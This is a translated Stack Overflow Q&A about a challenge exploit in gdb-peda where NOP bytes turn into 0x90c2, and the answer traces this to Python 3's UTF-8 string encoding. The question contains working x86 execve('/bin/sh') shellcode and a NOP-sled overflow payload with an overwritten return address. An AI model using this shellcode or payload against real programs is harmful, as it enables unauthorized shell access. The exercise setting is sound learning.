c - 如何修复 GDB 可能的字符集问题 NOP 0x90 转换为内存中的 0x90c2?

标签 c debugging gdb buffer-overflow exploit

在应对挑战并使用 gdb-peda 在 kali linux 中利用可执行文件时,我遇到了一个奇怪的问题。

#>gdb -q someVulnerableBinary
gdb-peda$ python
>shellcode=(
>"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
>)
>end
gdb-peda$ pset arg '"\x90"*(76-len(shellcode)) + shellcode + "\x08\x04\xb4\x10"[::-1] + "C"*10'
gdb-peda$ r
Starting program: /home/theDude/Downloads/tmp/someVulnerableBinary 'j
                          XRh//shh/binã1ÉÍ°CCCCCCCCCC'
j
                                                        XRh//shh/binã1ÉÍ°CCCCCCCCCC

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0x804b410 --> 0x90c290c2 
EBX: 0x0 
ECX: 0x0 
EDX: 0x99 
ESI: 0x2 
EDI: 0xf7faf000 --> 0x1b2db0 
EBP: 0x90c290c2 
ESP: 0xffffda00 --> 0x90c290c2 
EIP: 0x90c290c2
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x90c290c2
[------------------------------------stack-------------------------------------]
0000| 0xffffda00 --> 0x90c290c2 
0004| 0xffffda04 --> 0x90c290c2 
0008| 0xffffda08 --> 0x90c290c2 
0012| 0xffffda0c --> 0x90c290c2 
0016| 0xffffda10 --> 0x90c290c2 
0020| 0xffffda14 --> 0x90c290c2 
0024| 0xffffda18 --> 0x90c290c2 
0028| 0xffffda1c --> 0xb6a90c2 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x90c290c2 in ?? ()
gdb-peda$
gdb-peda$ i r $eax
eax            0x804b410    0x804b410
gdb-peda$ x/20x $eax
0x804b410:  0x90c290c2  0x90c290c2  0x90c290c2  0x90c290c2
0x804b420:  0x90c290c2  0x90c290c2  0x90c290c2  0x90c290c2
0x804b430:  0x90c290c2  0x90c290c2  0x90c290c2  0x90c290c2
0x804b440:  0x90c290c2  0x90c290c2  0x90c290c2  0x90c290c2
0x804b450:  0x90c290c2  0x90c290c2  0x90c290c2  0x90c290c2
gdb-peda$ show charset
The host character set is "auto; currently UTF-8".
The target character set is "auto; currently UTF-8".
The target wide character set is "auto; currently UTF-32".

如果您需要更多信息,请告诉我,但显然内存中的 NOP\x90 翻译为内存中的\x90c2 。我不知道为什么,或者即使它是字符集,以及目前如何更改它。除此之外,我现在无法通过谷歌或 stackoverflow 找到类似的东西。

感谢您的帮助,并且已经感谢您的建议和帮助。

最佳答案

我今天在应对挑战时遇到了同样的问题。我没有使用 gdb-peta,只是使用常规的 gdb,但是 this post帮助过我。基本上\x90c2 是 UTF-8 字符 U+0090 的十六进制编码。对我来说,我遇到了这个问题,因为我同时安装了Python 2和Python 3,Python 2将字符串视为字节数组,而Python 3将它们视为UTF-8编码字符的数组。作为解决方案,请尝试在调用 pset arg 时使用 b"\0x90" 等格式代替 "\0x90"。如果 gdb-peta 不允许您这样做,那么您可以通过调用 Python 2 打印输入字符串并将其通过管道输入。

这给了我堆栈上的\x90c2:

$ python3 -c "print '\x90',8" > input.txt
$ gdb ./vuln-program
(gdb) run arg1 < input.txt

执行 python2 相反会在堆栈上提供\x90:

$ python2 -c "print '\x90',8" > input.txt
$ gdb ./vuln-program
(gdb) run arg1 < input.txt

理论上,以下内容也应该在堆栈上给出\x90:

$ python3 -c "print b'\x90',8" > input.txt
$ gdb ./vuln-program
(gdb) run arg1 < input.txt

实际上,最后一个输入对我来说会中断,因为在我的例子中,vuln-program 正在寻找 ASCII 字符串,而不是字节作为输入。我认为 Python 2 的 print 函数在写入管道时会将字节数组转换为字符串,所以现在我只是使用 Python 2 来编写漏洞利用字符串。

就您而言,我还没有测试是什么创建了到 UTF-8 编码的转换,但调用 python 来创建 shellcode 至少会创建如果您运行的是 Python 3,则为 UTF-8 字符。

也许另一张海报可以为您提供在 gdb 中本地修复此问题的确切语法。

关于c - 如何修复 GDB 可能的字符集问题 NOP 0x90 转换为内存中的 0x90c2?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/43477337/

相关文章:

gdb - 执行期间的疯狂行为

c - 使用 mexMakeMemoryPersistent 调用 MEX 文件时,变量如何在后续调用中重新分配其指针?

c - 在字符数组上使用 printf 返回垃圾和字符串

iphone - 在 XCode 中对 iPhone 进行单元测试时控制台和调试器不工作

c++ - 从 LLVM IR 获取精确的行/列调试信息

gdb - 当 gdb 无法确定堆栈帧的大小时,如何使用 gdb 获取回溯?

c - 严重内存冲突: Variables clashing in C

c++ - 混合使用 C 和 C++ 时出现重复符号

c - 调用函数填充后的空结构

Delphi:如果我在我的项目中使用包,为什么 "use debug DCUs"会变得无效?